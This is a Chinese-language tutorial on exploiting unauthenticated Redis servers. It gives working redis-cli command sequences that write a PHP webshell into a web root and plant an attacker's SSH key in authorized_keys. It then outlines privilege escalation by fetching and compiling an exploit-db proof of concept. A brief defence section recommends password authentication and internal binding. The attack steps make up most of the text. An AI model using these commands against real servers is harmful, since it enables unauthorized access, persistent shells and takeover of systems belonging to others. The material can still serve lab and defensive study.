Redis未授权访问漏洞利用与防御
Redis漏洞
1
| Redis配置不当可导致未授权访问,被恶意利用。部分服务器上的Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),以及该端口可通过公网直接访问,如果没有采取相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务器直接暴露在公网上,可能造成其他用户直接在非授权情况下直接访问呢Redis服务并进行相关操作。
|
Redis服务实验环境搭建
kali linux下环境搭建:
1、Redis安装包下载与安装
1 2 3 4
| wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0 cd redis-3.2.0 make
|
2、配置Redis
1 2 3
| vim redis.conf 1、bind 127.0.0.1 前面加上# 2、protected-mode设为no
|
3、加载配置文件启动Redis服务
1 2
| cd src redis-server ../redis-conf
|
4、查看6379端口是否启动
1
| nmap -A -p 6379 --script redis-info +redis服务器ip地址
|
通过连接redis服务,执行info命令,探测出当前redis存在未授权访问漏洞
Redis客户端连接服务端
1
| redis-cli -h +redis服务器ip地址
|
Redis未授权漏洞利用
利用漏洞 写入webshell
1 2 3 4
| config set dir /var/www/html set x "\n\n\n<?php phpinfo();?>\n\n\n" config set dbfilename webshell.php save\\保存文件
|
1
| 由可写webshell到指定路径,就可以写其他具有权限的文件,如计划任务,ssh密钥文件。
|
Redis漏洞防御
1、增加密码认证
1 2
| #requirepass foobared requirepass +密码
|
2、绑定内网ip地址
Redis未授权添加ssh密钥
1、nmap探测目标是否存在redis服务(6379)
2、测试redis服务是否存在未授权访问
1 2 3
| redis-cli -h 服务端地址 info
|
3、ssh密钥生成
1 2 3 4
| ssh-keygen -t rsa cd ~/.ssh/ (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") >public.txt 两个换行
|
4、 上传密钥
1 2 3 4 5 6 7
| cat public.txt |redis-cli -h ip -x set x //将文件内容读取到变量x,通过-x执行相关命令,相当于set x=public.txt文件内容
redis-cli -h ip config set dir "/home/user/.ssh/" user需要破解,可尝试直接访问/~/.ssh/
redis-cli -h ip config set dbfilename authorized_keys
redis-cli -h ip save
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| ssh -l user -i id_rsa ip 连接失败 扫描22端口 nmap -p 22 ip 22端口关闭 扫描所有端口 namp -p 1-65535 -T4 -n -v ip
发现一个novation服务也是ssh服务标识
ssh -l user -p 1322 -i 用户名还是需要爆破的,后面连接需要用到。 不具有最高权限
|
5、提权
1 2 3 4 5 6 7 8 9 10 11
| uname -a 查看版本相关信息 百度搜索相关漏洞 https://www.exploit-db.com/
mkdir tmp cd tmp wget ... poc.c 下载相关漏洞 gcc poc.c 然后执行新生成的文件
|